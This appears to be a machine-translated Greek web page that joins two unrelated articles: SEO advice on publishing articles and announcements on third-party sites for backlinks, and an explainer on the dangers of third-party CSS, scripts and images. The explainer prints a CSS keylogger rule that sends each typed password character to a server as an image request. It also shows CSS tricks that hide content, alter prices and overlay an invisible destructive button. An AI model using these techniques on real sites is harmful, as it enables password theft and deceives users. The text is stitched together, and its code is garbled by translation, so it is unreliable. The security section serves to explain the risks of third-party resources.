Ανοιγμα της πόρτας. WordPress. Σύνδεσμοι εντός του ιστολογίου και σε πόρους τρίτων Επιλογές δημοσίευσης άρθρων και των δυνατοτήτων τους

Ο νόμος των δημοσίων σχέσεων λέει: "Όσο περισσότερα άτομα γνωρίζουν για εσάς, τόσο περισσότεροι πελάτες θα χρησιμοποιήσουν την υπηρεσία!" Ο ίδιος στόχος ορίζεται στη δημοσίευση των άρθρων τους σε πόρους τρίτου μέρους. Κάθε ιστότοπος τρίτου μέρους είναι:

• Νέο κοινό και, κατά συνέπεια, δυνητικοί πελάτες.
• Μια εισροή επισκεψιμότητας που υπερβαίνει τον αριθμό των επισκεπτών σας πολλές φορές.
• Φυσικός σύνδεσμος προς τον ιστότοπό σας.
• Πιθανή διανομή των άρθρων σας (αν ενδιαφέρουν) στα κοινωνικά. δίκτυα.

Λίστα ιστοτόπων για δωρεάν δημοσίευση με backlink

Φόρουμ με ειδική ενότητα (webmasters.ru, maultalk.com)

Τι πρέπει να προσέξετε όταν επιλέγετε ιστότοπο τρίτου μέρους

Φίλτρα. Ένας ιστότοπος που παρέχει τη δυνατότητα δωρεάν τοποθέτησης μπορεί να είναι υπό το ACS. Δημοσιεύοντας συνδέσμους προς τον ιστότοπό σας σε αυτό, κινδυνεύετε να χάσετε την κατάταξη ή, ακόμη χειρότερα, να πέσετε κάτω από το Minusinsk. Γραμμή RDS για βοήθεια.

ΣΥΣΠΑΣΗ. Ομοίως με την πρώτη επιλογή, ο επιλεγμένος ιστότοπος μπορεί να βρίσκεται κάτω από το "Minusinsk", επιπλέον, οι σύνδεσμοι από τοποθεσίες με 0 TIC μοιάζουν περισσότερο με "προσαρμοσμένο".

Επιλογές δημοσίευσης άρθρων και τα χαρακτηριστικά τους

Μπορείτε να δημοσιεύσετε άρθρα σε ιστότοπους τρίτων με 2 τρόπους:

• Πλήρες αντίγραφο.
• Ανακοίνωση.

Ας μιλήσουμε για την αποτελεσματικότητα κάθε μεθόδου με περισσότερες λεπτομέρειες.

Τοποθέτηση άρθρου σε ιστότοπο τρίτου μέρους με πλήρη αντιγραφή με σύνδεσμο προς την πηγή

Ένας αρκετά δημοφιλής τρόπος ανταλλαγής πληροφοριών. Η λίστα των τοποθεσιών που δημοσιεύονται ακριβώς παραπάνω σας επιτρέπει να δημοσιεύετε πλήρη άρθρα. Υπάρχει ακόμη και ειδικό πεδίο για σύνδεση με την πηγή. Τα ενδιαφέροντα άρθρα αποκτούν γρήγορα δημοτικότητα, συζητούνται και αρέσουν. Όλα θα ήταν καλά, αλλά υπάρχει και η άλλη όψη του νομίσματος.

• Αναρτώντας ένα πλήρες άρθρο σε ιστότοπο τρίτου μέρους, διακόπτετε τη ροή της στοχευμένης επισκεψιμότητας στον πόρο σας. Τελικά, γιατί να πάτε κάπου όταν μπορείτε να διαβάσετε ένα άρθρο σε έναν πόρο τρίτου μέρους;
• Πολεμήστε για την κυριαρχία. Σίγουρα οι πόροι στους οποίους δημοσιεύετε τα άρθρα σας, ακόμα κι αν έχουν ευρετηριαστεί, είναι μπροστά από τον ιστότοπό σας όσον αφορά τους δείκτες κατάταξης (Traffic, Titz, trust). Υπάρχουν πολλές περιπτώσεις στο Διαδίκτυο όταν μια σελίδα με αντίγραφο κατατάσσεται υψηλότερα από την αρχική.
• Μοναδικότητα. Τα χρήσιμα υλικά αντιγράφονται ακόμη και χωρίς τη βοήθειά σας. Δημοσιεύοντας ένα πλήρες άρθρο, αυξάνετε μόνο τον αριθμό των σελίδων που μειώνουν τη μοναδικότητα του κειμένου σας. Ως αποτέλεσμα, η σελίδα μπορεί να χαλάσει στα προωθούμενα ερωτήματα.
• Προβλήματα ενημέρωσης. Στην πράξη, συνάντησα έργα στα οποία, κατά την αλλαγή των URL (διευθύνσεων) των σελίδων, έπρεπε να ξαναγράψω εντελώς το περιεχόμενο. Ο λόγος για αυτό είναι ιστότοποι τρίτων με φιλοξενούμενο υλικό.

Τοποθέτηση ανακοινώσεων άρθρων με σύνδεσμο στον πόρο

Αυτή η επιλογή προβλέπει τη δημοσίευση σε ιστότοπο τρίτων όχι ολόκληρου του άρθρου, αλλά μιας σύντομης ανακοίνωσης με εικόνα. Και ένας τίτλος δεν θα ξεκολλήσει εδώ. Σε τελική ανάλυση, πρέπει να ενδιαφέρουμε το κοινό αρκετά για να κάνουμε μια μετάβαση στον πόρο μας. Το κύριο πρόβλημα είναι να το κάνουμε όσο πιο ενδιαφέρον γίνεται. Και όχι απλώς αντιγράψτε την πρώτη παράγραφο, αλλά κάντε την μοναδική.

Για κοινωνικά δίκτυα - το βέλτιστο μέγεθος της ανακοίνωσης είναι 300 χαρακτήρες. Μια ανακοίνωση μπορεί να γραφτεί μία φορά και να δημοσιευτεί σε όλους τους ιστότοπους.

Όσον αφορά τις πύλες, θα πρέπει να υπάρχει μια μεγαλύτερη ανακοίνωση στην περιοχή των 1000 χαρακτήρων. Το κοινό τέτοιων πυλών συνηθίζει να αξιολογεί πρώτα τη «χρησιμότητα» και μετά να κάνει μόνο μεταβάσεις.

Μιλώντας για πύλες, είναι απαραίτητο να ληφθούν υπόψη οι απαιτήσεις για δημοσιεύσεις. Όπου η μοναδικότητα του άρθρου είναι απαραίτητη, γράψτε μοναδικές ανακοινώσεις. Όπου η μοναδικότητα δεν είναι σημαντική, δημοσιεύστε ήδη γραμμένα.

Ως αποτέλεσμα, παίρνουμε:

• Ενδιαφέρον των χρηστών για τις αναρτήσεις σας.
• ροή της κυκλοφορίας.
• Κτίριο συνδέσμων.
• Διατηρώντας το περιεχόμενό σας μοναδικό.

Παρεμπιπτόντως, η ανακοίνωση θα χρησιμεύσει ως εξαιρετικό κίνητρο για να γράψετε ενδιαφέροντα υλικά και όχι απλώς να γεμίσετε το Διαδίκτυο με άρθρα.

Δυνατότητα λογισμικού

Απλοποιήστε τη δουλειά με τη δημοσίευση ανακοινώσεων στα κοινωνικά. δίκτυα που χρησιμοποιούν τη σήμανση Open Graph. Σας επιτρέπει να συνταγογραφήσετε την ανακοίνωση του άρθρου. Ως αποτέλεσμα, κατά τη διάρκεια μιας τακτικής αναδημοσίευσης, ο τίτλος, η ανακοίνωση και η εικόνα του δημοσιευμένου συνδέσμου θα εισαχθούν αυτόματα. Μπορείτε να ελέγξετε την οπτική εμφάνιση της σήμανσης ανοιχτού γραφήματος

Σας λέμε πώς μπορείτε να βλάψετε τον ιστότοπό σας χρησιμοποιώντας CSS τρίτων, JavaScript και άλλους πόρους από διακομιστές άλλων ατόμων.

Στα τέλη Φεβρουαρίου, ένα keylogger εμφανίστηκε στον ιστό που χρησιμοποιεί εν μέρει CSS. Η επίθεση με τη βοήθειά της είναι απλή: για κάθε χαρακτήρα που εισάγεται σε ένα πεδίο με έναν συγκεκριμένο τύπο (για παράδειγμα, κωδικό πρόσβασης), δημιουργείται ένα αίτημα σε διακομιστή τρίτου μέρους, που υποτίθεται ότι ζητά μια εικόνα φόντου:

εισαγωγή (εικόνα φόντου: url("http://localhost:3000/a"); )

Στον διακομιστή, η ακολουθία ερωτημάτων μπορεί να καταχωρηθεί και ο κωδικός πρόσβασης που εισαγάγατε μπορεί να υπολογιστεί εύκολα.

Κατά τη διαδικασία συζήτησης του προβλήματος, ορισμένοι πρότειναν στους κατασκευαστές του προγράμματος περιήγησης να εργαστούν για μια επιδιόρθωση. Κάποιος παρατήρησε ότι το πρόβλημα σχετίζεται μόνο με τοποθεσίες σε πλαίσια που μοιάζουν με το React και μετατόπισε την ευθύνη σε αυτούς.

εικόνες τρίτων

Εάν προσθέσετε αυτό το είδος εικόνας στον ιστότοπό σας, θα εξαρτηθείτε από το example.com. Μπορούν να σας ρυθμίσουν με πολλούς τρόπους, για παράδειγμα, αφαιρώντας την εικόνα - θα λάβετε ένα 404 αντί για μια εικόνα. Ή μπορούν απλώς να αντικαταστήσουν την εικόνα της γάτας με κάτι λιγότερο ευχάριστο.

Μπορείτε να προειδοποιήσετε τους χρήστες σας ότι η εικόνα προστέθηκε από έναν πόρο τρίτου μέρους και δεν είστε συνδεδεμένοι με αυτόν. Αυτό θα σας γλιτώσει από κάποιο πρόβλημα. Αλλά φυσικά, όταν προσθέτετε μια απλή εικόνα, δεν δίνετε πρόσβαση στους κωδικούς πρόσβασης.

Σενάρια τρίτων

Αυτό το παράδειγμα είναι πολύ πιο ενδιαφέρον για το example.com, επειδή προσθέτοντας ένα σενάριο από τον ιστότοπό τους, τους δίνετε πολύ περισσότερο έλεγχο στον δικό τους. Σε αυτήν την περίπτωση, το example.com μπορεί:

• Διαβάστε/τροποποιήστε το περιεχόμενο της σελίδας.
• Παρακολουθήστε κάθε ενέργεια χρήστη.
• Εκτελέστε έναν δύσκολο στον υπολογισμό κώδικα (για παράδειγμα, ένα cryptominer).
• Ζητήστε cookies.
• Ανάγνωση/τροποποίηση τοπικής αποθήκευσης.

Με άλλα λόγια, τώρα το example.com μπορεί να κάνει πολλά πράγματα.

Η αλληλεπίδραση με την τοπική αποθήκευση φέρνει ακόμη περισσότερα προβλήματα στο μέλλον. Ένας πόρος τρίτου μέρους θα έχει πρόσβαση στον ιστότοπό σας ακόμη και μετά την κατάργηση του σεναρίου από τη σελίδα. Εάν προσθέτετε ένα σενάριο τρίτου μέρους σε έναν ιστότοπο, πρέπει να εμπιστεύεστε απόλυτα την πηγή και την ασφάλειά του.

Εάν εξακολουθείτε να αντιμετωπίζετε ένα κακό σενάριο, δοκιμάστε να χρησιμοποιήσετε την κεφαλίδα Clear-Site-Data .

CSS τρίτου μέρους

Ο κώδικας CSS τρίτου μέρους σχετικά με τον αντίκτυπο στον ιστότοπο βρίσκεται μεταξύ της εικόνας και του σεναρίου. Το Alien CSS μπορεί:

• Διαγραφή/τροποποίηση/προσθήκη περιεχομένου στη σελίδα.
• Υποβάλετε αιτήματα με βάση το περιεχόμενο της σελίδας.
• Απαντήστε σε πολλές ενέργειες χρήστη.

Το CSS δεν θα μπορεί να αλληλεπιδράσει με τον τοπικό χώρο αποθήκευσης και το cryptominer δεν θα ενσωματωθεί στη σελίδα, αλλά μπορεί να βλάψει πολύ τον κάτοχο του πόρου.

Keylogger

Ας τροποποιήσουμε ελαφρώς το CSS από την αρχή του άρθρου:

εισαγωγή (εικόνα φόντου: url("/password?a"); )

Αυτός ο κωδικός θα στείλει δεδομένα σχετικά με τον εισαγόμενο χαρακτήρα "a" στον χειριστή υπό το πρόσχημα ενός αιτήματος εικόνας. Επαναλάβετε τον κώδικα για κάθε χαρακτήρα και έχετε ήδη ένα CSS keylogger.

Από προεπιλογή, τα προγράμματα περιήγησης δεν αποθηκεύουν χαρακτήρες που έχουν εισαχθεί από τον χρήστη στο χαρακτηριστικό value, επομένως αυτό το τέχνασμα θα λειτουργήσει εάν χρησιμοποιείτε κάτι που συγχρονίζει τιμές όπως αυτή, όπως .

Φυσικά, αυτό το πρόβλημα μπορεί να λυθεί από την πλευρά του React και παρόμοιων πλαισίων. Αλλά τότε μόνο μια συγκεκριμένη περίπτωση θα λυθεί και τα υπόλοιπα προβλήματα θα παραμείνουν.

Περιεχόμενο που εξαφανίζεται

body ( εμφάνιση: κανένα; ) html::after ( περιεχόμενο: "Σφάλμα διακομιστή HTTP"; )

Αυτό είναι, φυσικά, ένα πολύ περίεργο παράδειγμα, αλλά εξακολουθεί να λειτουργεί. Φανταστείτε εάν οι χρήστες σας, κατά την είσοδο στον ιστότοπο, βλέπουν ένα ακατανόητο σφάλμα αντί για τη συνηθισμένη κύρια σελίδα. Με τον ίδιο τρόπο, ο κωδικός τρίτου μέρους μπορεί να αφαιρέσει, για παράδειγμα, το κουμπί «αγορά» ή να κάνει κάποια άλλη ενόχληση.

Προσθήκη περιεχομένου

Τιμή-αξία::πριν (περιεχόμενο: "1"; )

Και κάπως έτσι, οι τιμές σας εκτοξεύτηκαν στα ύψη.

Μετακινούμενο περιεχόμενο

Κουμπί "Διαγραφή όλων" ( αδιαφάνεια: 0; θέση: απόλυτη; επάνω: 500 εικονοστοιχεία; αριστερά: 300 εικονοστοιχεία; )

Πάρτε ένα κουμπί που κάνει κάτι τρομερό που ο χρήστης δεν θα κάνει απλώς κλικ, κάντε το διαφανές και βάλτε το κάπου όπου σίγουρα θα κάνει κλικ ο χρήστης.

Φυσικά, εάν το κουμπί κάνει κάτι πολύ σημαντικό, ο χρήστης θα δει πρώτα ένα παράθυρο προειδοποίησης. Αλλά ούτε αυτό είναι πρόβλημα: χρειάζεται απλώς περισσότερο CSS. Για παράδειγμα, μπορείτε να αλλάξετε το περιεχόμενο του κουμπιού "Θεέ μου, όχι!" σε "Σίγουρα, είμαι σίγουρος".

Φανταστείτε ότι οι κατασκευαστές του προγράμματος περιήγησης διόρθωσαν το κόλπο του keylogger. Οι εισβολείς απλώς βάζουν ένα επιπλέον πεδίο κειμένου πάνω από ένα σημαντικό πεδίο κωδικού πρόσβασης και επιστρέφουν στη δουλειά.

Ιδιότητες ανάγνωσης

Η τιμή και τα άλλα χαρακτηριστικά δεν αποθηκεύουν απαραίτητα κωδικούς πρόσβασης: ένας εισβολέας μπορεί να βρει κάτι άλλο ενδιαφέρον.